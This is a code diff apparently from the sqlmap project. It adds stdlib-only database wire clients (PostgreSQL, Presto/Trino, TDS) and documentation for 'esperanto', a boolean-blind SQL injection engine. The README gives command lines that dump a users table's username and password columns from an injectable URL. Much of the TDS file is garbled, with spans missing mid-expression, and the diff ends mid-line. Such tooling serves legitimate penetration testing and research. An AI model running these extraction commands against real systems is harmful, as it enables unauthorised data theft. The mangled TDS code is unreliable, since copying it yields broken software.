a/extra/dbwire/postgres.py b/extra/dbwire/postgres.py new file mode 100644 index 00000000000..9c06bd79e4e --- /dev/null +++ b/extra/dbwire/postgres.py @@ -0,0 +1,307 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only). + +Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica). +Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose +per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and +commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the +server's readable '\\xHEX' text (text result format), so no memoryview/blob corruption either. +""" + +import base64 +import binascii +import hashlib +import hmac +import os +import socket +import struct + +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_PROTOCOL_VERSION = 196608 # 3.0 +_MAX_MESSAGE_LENGTH = 0x40000000 # 1 GB - guard against a hostile/corrupt length triggering an unbounded read +_OID_BYTEA = 17 # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver + +def _decode_bytea(raw): + # PG text output: modern 'hex' = b'\\x'; legacy 'escape' = octal \ooo + literal bytes + if raw[:2] == b"\\x": + try: + return binascii.unhexlify(raw[2:]) + except (binascii.Error, ValueError): + return raw.decode("utf-8", "replace") + src, out, i, n = bytearray(raw), bytearray(), 0, len(raw) + while i < n: + if src[i] == 0x5c and i + 1 < n: # backslash + nxt = src[i + 1] + if nxt == 0x5c: + out.append(0x5c); i += 2 + elif 0x30 <= nxt <= 0x37 and i + 3 < n: # \ooo octal + out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4 + else: + out.append(nxt); i += 2 + else: + out.append(src[i]); i += 1 + return bytes(out) + +# SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2) +_SQLSTATE_CLASS = { + "22": DataError, "23": IntegrityError, + "08": OperationalError, "28": OperationalError, "53": OperationalError, + "57": OperationalError, "58": OperationalError, +} + +def _xor(a, b): + # byte-wise XOR of two equal-length byte strings (Python 2 and 3 safe) + if str is bytes: # Python 2: iterating bytes yields 1-char strings + return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) + return bytes(x ^ y for x, y in zip(a, b)) + +def _recvn(sock, n): + buf = b"" + while len(buf) < n: + chunk = sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + +def _read_message(sock): + mtype = _recvn(sock, 1) + (length,) = struct.unpack("!I", _recvn(sock, 4)) + if length < 4 or length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid backend message length (%d)" % length) + return mtype, _recvn(sock, length - 4) + +def _send(sock, mtype, payload): + sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload) + +def _error_message(payload): + # ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte. + # Returns (human message, SQLSTATE). Tolerant of a truncated/unterminated stream (find() not index()). + fields, off = {}, 0 + while off < len(payload) and payload[off:off + 1] != b"\x00": + code = payload[off:off + 1] + end = payload.find(b"\x00", off + 1) + if end == -1: + break + fields[code] = payload[off + 1:end].decode("utf-8", "replace") + off = end + 1 + return fields.get(b"M", "unknown error"), fields.get(b"C", "") + +def _raise_server_error(message, sqlstate): + raise _SQLSTATE_CLASS.get((sqlstate or "")[:2], ProgrammingError)("(remote) %s" % message) + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 # reset before (a failed) query + self.description, self._rows, self._pos, self.rowcount = self.connection._simple_query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + self._txn_status = b"I" # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror) + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # simple-query protocol commits each statement implicitly + + def rollback(self): + pass + + def close(self): + try: + _send(self._sock, b"X", b"") # Terminate + except Exception: + pass + try: + self._sock.close() + except Exception: + pass + + def _clear_aborted(self): + # a prior statement left an aborted transaction block ('E'): every further statement errors with + # 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics). + _send(self._sock, b"Q", b"ROLLBACK\x00") + while True: + mtype, payload = _read_message(self._sock) + if mtype == b"Z": + self._txn_status = payload[:1] or b"I" + break + + def _simple_query(self, query): + if self._txn_status == b"E": + self._clear_aborted() + _send(self._sock, b"Q", query.encode("utf-8") + b"\x00") + + description, rows, rowcount, error = None, [], -1, None + while True: + mtype, payload = _read_message(self._sock) + try: + if mtype == b"T": # RowDescription (a new result set: reset rows so we return only the last one) + (count,) = struct.unpack("!H", payload[:2]) + description, rows, rowcount, off = [], [], -1, 2 + for _ in range(count): + end = payload.index(b"\x00", off) + name = payload[off:end].decode("utf-8", "replace") + off = end + 1 + (typeoid,) = struct.unpack("!I", payload[off + 6:off + 10]) + off += 18 # tableoid4 colno2 typeoid4 typelen2 typmod4 format2 + description.append((name, typeoid, None, None, None, None, None)) + elif mtype == b"D": # DataRow + (count,) = struct.unpack("!H", payload[:2]) + off, row = 2, [] + for col in range(count): + (vlen,) = struct.unpack("!i", payload[off:off + 4]) + off += 4 + if vlen == -1: + row.append(None) + else: + if off + vlen > len(payload): + raise InterfaceError("truncated DataRow") + raw = payload[off:off + vlen] + off += vlen + if description and col < len(description) and description[col][1] == _OID_BYTEA: + row.append(_decode_bytea(raw)) # bytes so sqlmap hex-encodes it (like the native driver) + else: + try: + row.append(raw.decode("utf-8")) + except UnicodeDecodeError: + row.append(raw) # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD + rows.append(tuple(row)) + elif mtype == b"C": # CommandComplete ("SELECT 3", "INSERT 0 1", ...) + tag = payload[:-1].decode("utf-8", "replace").split() + if tag and tag[-1].isdigit(): + rowcount = int(tag[-1]) + elif mtype == b"G": # CopyInResponse - server now waits for client CopyData; refuse to avoid a deadlock + _send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00") # CopyFail + elif mtype == b"E": # ErrorResponse + error = _error_message(payload) + elif mtype == b"Z": # ReadyForQuery (end of response); payload byte = transaction status + self._txn_status = payload[:1] or b"I" + break + # ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed backend message: %s" % ex) + if error is not None: + _raise_server_error(*error) + return description, rows, 0, rowcount + +def _authenticate(sock, user, password): + cfirst_bare = None + while True: + mtype, payload = _read_message(sock) + if mtype in (b"N", b"S"): # NoticeResponse / ParameterStatus may legally precede AuthenticationOk + continue + if mtype == b"E": + _raise_server_error_as_operational(payload) + if mtype != b"R": + raise InterfaceError("unexpected message %r during authentication" % mtype) + (code,) = struct.unpack("!I", payload[:4]) + if code == 0: # AuthenticationOk (also the trust case) + return + elif code == 3: # cleartext password + _send(sock, b"p", (password or "").encode("utf-8") + b"\x00") + elif code == 5: # MD5 password + salt = payload[4:8] + inner = hashlib.md5((password or "").encode("utf-8") + (user or "").encode("utf-8")).hexdigest() + token = b"md5" + hashlib.md5(inner.encode("ascii") + salt).hexdigest().encode("ascii") + _send(sock, b"p", token + b"\x00") + elif code == 10: # SASL (SCRAM-SHA-256) + if not hasattr(hashlib, "pbkdf2_hmac"): + raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)") + nonce = base64.b64encode(os.urandom(18)).decode("ascii") + cfirst_bare = "n=,r=%s" % nonce + client_first = "n,," + cfirst_bare + _send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii")) + elif code == 11: # SASLContinue (server-first) + try: + server_first = payload[4:].decode("ascii") + attrs = dict(kv.split("=", 1) for kv in server_first.split(",")) + snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"]) + except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex: + raise OperationalError("malformed SCRAM server-first message (%s)" % ex) + salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations) + client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest() + stored_key = hashlib.sha256(client_key).digest() + client_final_noproof = "c=biws,r=%s" % snonce + auth_message = "%s,%s,%s" % (cfirst_bare, server_first, client_final_noproof) + client_sig = hmac.new(stored_key, auth_message.encode("ascii"), hashlib.sha256).digest() + proof = base64.b64encode(_xor(client_key, client_sig)).decode("ascii") + _send(sock, b"p", ("%s,p=%s" % (client_final_noproof, proof)).encode("ascii")) + elif code == 12: # SASLFinal + pass + else: + raise InterfaceError("unsupported authentication request %d" % code) + +def _raise_server_error_as_operational(payload): + message, _ = _error_message(payload) + raise OperationalError("(remote) %s" % message) + +def connect(host=None, port=5432, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + sock = socket.create_connection((host or "localhost", int(port or 5432)), timeout=connect_timeout) + sock.settimeout(None) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + params = b"" + for key, value in (("user", user or ""), ("database", database or user or ""), ("client_encoding", "UTF8")): + params += key.encode("ascii") + b"\x00" + ("%s" % value).encode("utf-8") + b"\x00" + params += b"\x00" + _send(sock, b"", struct.pack("!I", _PROTOCOL_VERSION) + params) + + try: + _authenticate(sock, user, password) + while True: # drain until ReadyForQuery (ParameterStatus/BackendKeyData/NoticeResponse) + mtype, payload = _read_message(sock) + if mtype == b"E": + _raise_server_error_as_operational(payload) + if mtype == b"Z": + break + except Exception: # any setup failure (DB-API or otherwise) must still close the socket + try: + sock.close() + except Exception: + pass + raise + + return Connection(sock) diff --git a/extra/dbwire/presto.py b/extra/dbwire/presto.py new file mode 100644 index 00000000000..7deede433ae --- /dev/null +++ b/extra/dbwire/presto.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python Presto/Trino client over its native HTTP/REST interface (stdlib only, no +presto-python-client). A query is POSTed to /v1/statement; the server returns JSON pages carrying +'columns'/'data' and a 'nextUri' to poll until the statement finishes. Both X-Presto-* and X-Trino-* +headers are sent so the same client works against Presto and Trino. +""" + +import base64 +import json +import socket + +try: + from urllib.request import Request, urlopen # Python 3 + from urllib.error import HTTPError, URLError +except ImportError: + from urllib2 import Request, urlopen, HTTPError, URLError # Python 2 + +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +def _convert(value, coltype): + # normalize Presto/Trino JSON cells for sqlmap: VARBINARY arrives base64-encoded (decode to bytes so + # direct()'s binary handling hex-encodes it), ARRAY/MAP/ROW arrive as JSON structures (serialize to text) + if value is None: + return value + if coltype.startswith("varbinary"): + try: + return base64.b64decode(value) + except Exception: + return value + if isinstance(value, (list, dict)): + return json.dumps(value) + return value + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, catalog, schema, timeout): + self._statement_url = "http://%s:%d/v1/statement" % (host, port) + self._timeout = timeout + self._headers = {"Content-Type": "text/plain"} + for prefix in ("X-Presto-", "X-Trino-"): + self._headers[prefix + "User"] = user or "sqlmap" + self._headers[prefix + "Source"] = "dbwire" + # only send Catalog/Schema when supplied: a Schema without a Catalog makes Trino reject every + # request ("Schema is set but catalog is not"), so never force a "default" schema + if catalog: + self._headers[prefix + "Catalog"] = catalog + if schema: + self._headers[prefix + "Schema"] = schema + if password: + token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii") + self._headers["Authorization"] = "Basic %s" % token + + def cursor(self): + return Cursor(self) + + def commit(self): + pass + + def rollback(self): + pass + + def close(self): + pass # HTTP is stateless + + def _request(self, url, data=None): + req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers) + try: + body = urlopen(req, timeout=self._timeout).read().decode("utf-8", "replace") + except HTTPError as ex: + raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200])) + except URLError as ex: + raise OperationalError("(remote) %s" % ex) + except (socket.timeout, socket.error) as ex: + raise OperationalError("(remote) %s" % ex) + try: + return json.loads(body) + except ValueError as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _query(self, query): + page = self._request(self._statement_url, data=query) + columns, rows, types = None, [], [] + while True: + if page.get("error"): + message = page["error"].get("message", "unknown error") + raise ProgrammingError("(remote) %s" % message) + if page.get("columns") and columns is None: + columns = [(c.get("name"), c.get("type"), None, None, None, None, None) for c in page["columns"]] + types = [(c.get("type") or "") for c in page["columns"]] + for row in page.get("data") or []: + rows.append(tuple(_convert(v, types[i] if i < len(types) else "") for i, v in enumerate(row))) + next_uri = page.get("nextUri") + if not next_uri: + break + page = self._request(next_uri) + return columns, rows + +def connect(host=None, port=8080, user=None, password=None, database=None, connect_timeout=None, schema=None, **kwargs): + connection = Connection(host or "localhost", int(port or 8080), user, password, database, schema, connect_timeout) + try: + connection._query("SELECT 1") # verify connectivity/credentials + except ProgrammingError: + raise + except Exception as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + return connection diff --git a/extra/dbwire/tds.py b/extra/dbwire/tds.py new file mode 100644 index 00000000000..fe4a4dbb6ab --- /dev/null +++ b/extra/dbwire/tds.py @@ -0,0 +1,613 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server / Sybase (stdlib only). + +Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption +would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7, +SQL batch, and decoding of the common column types (int/bit/float/money/decimal, (n)char/(n)varchar and +their MAX/PLP forms, binary, guid, datetime family) to text (binary columns are returned as raw bytes so +sqlmap hex-encodes them). +""" + +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_MAX_MESSAGE_LENGTH = 0x40000000 + +# packet types +_PKT_SQL_BATCH = 0x01 +_PKT_LOGIN7 = 0x10 +_PKT_PRELOGIN = 0x12 +_STATUS_EOM = 0x01 + +def _u8(data, off): + return struct.unpack("= len(data) + header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0) + sock.sendall(header + chunk) + packet_id += 1 + if last: + break + +def _read_message(sock): + # reassemble a full TDS message across packets (EOM status bit marks the last) + body = b"" + while True: + header = _recvn(sock, 8) + mtype, status, length = struct.unpack(">BBH", header[:4]) + if length < 8 or length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid TDS packet length (%d)" % length) + body += _recvn(sock, length - 8) + if status & _STATUS_EOM: + break + return body + +# ---- PRELOGIN ---------------------------------------------------------------------------------------- + +def _prelogin(sock): + ver = struct.pack(">IH", 0x11000000, 0) + enc = b"\x02" # ENCRYPT_NOT_SUP + tokens = b"\x00" + struct.pack(">HH", 11, len(ver)) + tokens += b"\x01" + struct.pack(">HH", 11 + len(ver), len(enc)) + tokens += b"\xff" + _send_message(sock, _PKT_PRELOGIN, tokens + ver + enc) + body = _read_message(sock) + off = 0 + while off < len(body) and _u8(body, off) != 0xff: + token = _u8(body, off) + toff, tlen = struct.unpack(">HH", body[off + 1:off + 5]) + if token == 0x01 and _u8(body, toff) == 0x03: # server requires encryption + raise NotSupportedError("server requires TDS encryption; the dependency-free client supports cleartext only") + off += 5 + +# ---- LOGIN7 ------------------------------------------------------------------------------------------ + +def _encode_password(password): + out = bytearray() + for b in bytearray(password.encode("utf-16-le")): + b = ((b << 4) & 0xf0) | ((b >> 4) & 0x0f) + out.append(b ^ 0xa5) + return bytes(out) + +def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire"): + fields = [ + hostname.encode("utf-16-le"), + (user or "").encode("utf-16-le"), + _encode_password(password or ""), + appname.encode("utf-16-le"), + b"", # server name + b"", # (extension / unused) + "dbwire".encode("utf-16-le"), # client interface name + b"", # language + (database or "").encode("utf-16-le"), + ] + char_counts = [6, len(user or ""), len(password or ""), 6, 0, 0, 6, 0, len(database or "")] + + base = 94 # fixed header (36) + offset/length block (58) + var, offsets, cursor = b"", b"", base + for i, data in enumerate(fields): + offsets += struct.pack("= 0 else ("-", -offset) + s += " %s%02d:%02d" % (sign, mins // 60, mins % 60) + return s + +# SQL Server COLLATION -> Python codec. The 5-byte collation is a little-endian uint32 (low 20 bits = LCID) +# plus a 1-byte sort id: a non-zero sort id fixes the code page, else the LCID does. Only single-byte / DBCS +# code pages need a codec (NVARCHAR is UTF-16, handled separately). Derived from pytds; default cp1252 (the +# stock SQL_Latin1_General code page - NOT latin-1, whose 0x80-0x9F differ, corrupting e.g. the euro sign). +_LCID_CP = { + 0x405: "cp1250", 0x40e: "cp1250", 0x415: "cp1250", 0x418: "cp1250", 0x41a: "cp1250", 0x41b: "cp1250", + 0x41c: "cp1250", 0x424: "cp1250", 0x402: "cp1251", 0x419: "cp1251", 0x422: "cp1251", 0x423: "cp1251", + 0x42f: "cp1251", 0x408: "cp1253", 0x41f: "cp1254", 0x42c: "cp1254", 0x443: "cp1254", 0x40d: "cp1255", + 0x401: "cp1256", 0x420: "cp1256", 0x429: "cp1256", 0x425: "cp1257", 0x426: "cp1257", 0x427: "cp1257", + 0x42a: "cp1258", 0x41e: "cp874", 0x411: "cp932", 0x804: "cp936", 0x1004: "cp936", 0x412: "cp949", + 0x404: "cp950", 0xc04: "cp950", 0x1404: "cp950", +} + +def _sortid_cp(sid): + if 30 <= sid <= 34: + return "cp437" + if 40 <= sid <= 44 or sid == 49 or 55 <= sid <= 61: + return "cp850" + if sid in (51, 52, 53, 54) or 183 <= sid <= 186: + return "cp1252" + if 80 <= sid <= 96: + return "cp1250" + if 104 <= sid <= 108: + return "cp1251" + if 112 <= sid <= 124: + return "cp1253" + if 128 <= sid <= 130: + return "cp1254" + if 136 <= sid <= 138: + return "cp1255" + if 144 <= sid <= 146: + return "cp1256" + if 152 <= sid <= 160: + return "cp1257" + return None + +def _collation_codec(collation): + if not collation or len(collation) < 5: + return "cp1252" + lump = struct.unpack(" raw bytes + if base in (0xa7, 0xaf): # (var)char: metadata = 5-byte collation + 2-byte max length + return val.decode(_collation_codec(meta[:5]), "replace") + if base == 0x28: + return _decode_temporal(base, 0, val) + if base in (0x29, 0x2a, 0x2b): # metadata = scale + return _decode_temporal(base, bytearray(meta)[0], val) + return "".join("%02x" % x for x in bytearray(val)) # unknown base type -> hex (never desyncs) + +class _Column(object): + __slots__ = ("name", "type", "size", "scale", "binary", "collation") + +def _parse_type_info(data, off): + col = _Column() + col.type = _u8(data, off); off += 1 + col.size, col.scale, col.binary, col.collation = 0, 0, False, None + t = col.type + if t in (0x30, 0x32, 0x34, 0x38, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x7a, 0x7f, 0x1f): + pass # fixed-length types, size implied by type + elif t in (0x26, 0x68, 0x6d, 0x6e, 0x6f, 0x24): # INTN/BITN/FLTN/MONEYN/DATETIMN/GUID + col.size = _u8(data, off); off += 1 + elif t in (0x6a, 0x6c, 0x37, 0x3f): # DECIMALN/NUMERICN + legacy DECIMAL/NUMERIC (size, precision, scale) + col.size = _u8(data, off); off += 1 + off += 1 # precision + col.scale = _u8(data, off); off += 1 + elif t in (0xa7, 0xaf, 0xe7, 0xef): # (BIG)VARCHAR/CHAR, N(VAR)CHAR + col.size = struct.unpack(" raw bytes + if t in (0xe7, 0xef): + return raw.decode("utf-16-le", "replace"), off + return raw.decode(_collation_codec(col.collation), "replace"), off # (var)char: the collation's code page + + if t in (0x23, 0x63, 0x22): # TEXT/NTEXT/IMAGE: 1-byte textptr len (0 = NULL) then textptr+timestamp then 4-byte len + ptr_len = _u8(data, off); off += 1 + if ptr_len == 0: + return None, off + off += ptr_len + 8 + (n,) = struct.unpack(" sqlmap hex-encodes them + return _read_plp(data, off) + + if t == 0x62: # SQL_VARIANT: 4-byte total length (0 = NULL) then a self-describing value body + (total,) = struct.unpack("= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap issues autonomous statements; SET IMPLICIT_TRANSACTIONS is off by default + + def rollback(self): + pass + + def close(self): + try: + self._sock.close() + except Exception: + pass + + def _query(self, query): + # TDS 7.2+ SQL batch must be prefixed with ALL_HEADERS carrying the transaction descriptor header + headers = struct.pack(" bool` that reports whether an arbitrary SQL boolean expression holds at the +target - it discovers the dialect from scratch (string concatenation, substring / length / +character-code functions, the usable comparison operator, the catalog surface) and then extracts +data character-by-character, without ever being told which DBMS is on the other end. + +The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all +supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge +as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap +imports) and runs unmodified on Python 2.7 and Python 3. + +## Usage + +Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual, +then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request / +comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against +an unidentified back-end: + +``` +python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users +``` + +Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`): + +``` +python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users +python run.py -u 'http://host/vuln?id=1*' --string --dump -T users -C uname,pass +python run.py --self-test +``` + +The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end +of the URL. The true/false oracle is taken from `--string` / `--code`, or +auto-calibrated from the response when none is given. + +## How it works + +Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and +keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that +filters - one form falls through to the next rather than failing: + +| Primitive | Ladder (first that works wins) | +|------------------|--------------------------------| +| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` | +| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition | +| Length | a length function, else derived from the substring's end | +| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan | +| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` | +| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching | + +Each candidate is accepted only against a semantic check (for example, the comparison ladder is +validated across a signed truth table, not two positive samples), so a rewriting layer that turns +`>` into `>=` is rejected rather than silently mis-reading every count and length. + +Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and +version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset +(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a +discovered primary/unique key, else a physical row-id, else the row's own value. + +## Interface + +```python +from extra.esperanto import Esperanto + +esp = Esperanto(oracle) # oracle(condition_str) -> bool +esp.discover() # ladder out the dialect +esp.identify() # best-guess product + evidence +esp.extract("(SELECT ...)") # one scalar, char-by-char +esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by} +esp.enumerate("table") # keyset catalog walk +``` + +- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a + transport or observation failure must raise (or return a non-boolean), which the engine treats as + *undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be + reported as `False` by the oracle itself. +- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's + enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the + package stays dependency-free. +- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*` + methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only + a strategy plus an oracle. + +## Integrity model + +Every recovered value carries an `Integrity` classification so a caller can tell "we visited every +position" apart from "the bytes are provably the source's": + +| State | Meaning | +|-----------------------|---------| +| `EXACT` | proven byte-identical to the source (or a proven `NULL`) | +| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) | +| `TRUNCATED` | a bounded prefix; the source continues | +| `UNRESOLVED` | a character could not be recovered | +| `FAILED` | could not observe or verify | + +The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe, +never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports +a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values +are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value. + +## Scope and limitations + +This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for +sqlmap's native retrieval. Known boundaries: + +- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the + information theory of a boolean oracle (about one bit per request) and by network latency. It is + built for reach, not speed. +- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully + separated, backend-aware qualification (for example SQL Server `database.schema.table` via a + `sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort. +- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a + codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too), + resolving the common cases definitively. A column whose character set differs from the database + default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather + than asserted. +- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character + comparison modes under an ordered comparator; they do not yet drive the pattern-only or + membership-only modes, and the frozen field set does not yet carry every discovered semantic. + +Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting +it as trustworthy. + +## Self-test + +``` +python run.py --self-test +``` + +runs the engine against an in-memory SQLite oracle across every compare mode plus identification, +byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen +strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`. + +--- + +Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission. diff --git a/extra/esperanto/__init__.py b/extra/esperanto/__init__.py new file mode 100644 index 00000000000..fd7121ddb54 --- /dev/null +++ b/extra/esperanto/__init__.py @@ -0,0 +1,30 @@ +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +esperanto - a DBMS-agnostic SQL poking prototype. + +Given only a boolean oracle - a callable oracle(condition) -> bool that reports +whether an arbitrary SQL boolean expression holds at the target - this discovers +the target's SQL dialect from scratch (concatenation operator, substring / length +/ char-code functions, string comparison, catalog surface) and then extracts data +char-by-char WITHOUT ever being told which DBMS is on the other end. + +The candidate variants below are harvested from sqlmap's own data/xml/queries.xml +across all 31 supported DBMSes - the point is to reuse that accumulated knowledge +as a single "esperanto" the tool speaks at any backend, rather than fingerprinting +first and loading one dialect. + +This is a self-contained research prototype (no sqlmap imports); run it directly +for a built-in self-test against an in-memory SQLite oracle. +""" + +__version__ = "1.0.0" + +from .engine import Esperanto +from .engine import hostExtract +from .handler import buildHandler +from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity +from .records import OracleUndecided, QueryBudgetExceeded + +__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded", "__version__"] diff --git a/extra/esperanto/__main__.py b/extra/esperanto/__main__.py new file mode 100644 index 00000000000..e6c8ab46fa8 --- /dev/null +++ b/extra/esperanto/__main__.py @@ -0,0 +1,755 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from . import __version__ +from .atlas import _REPL +from .engine import Esperanto, hostExtract +from .records import ( + OracleUndecided, ExtractResult, QueryBudgetExceeded) + +_SITE = "https://sqlmap.org" + +# ratio-mode confidence margin: if the true/false similarity scores are within this of each +# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing. +_RATIO_MARGIN = 0.05 + + +def _sqliteOracle(block=None): + """In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober). + `block` is a regex of constructs to refuse, used to force fallback modes.""" + import re as _re + import 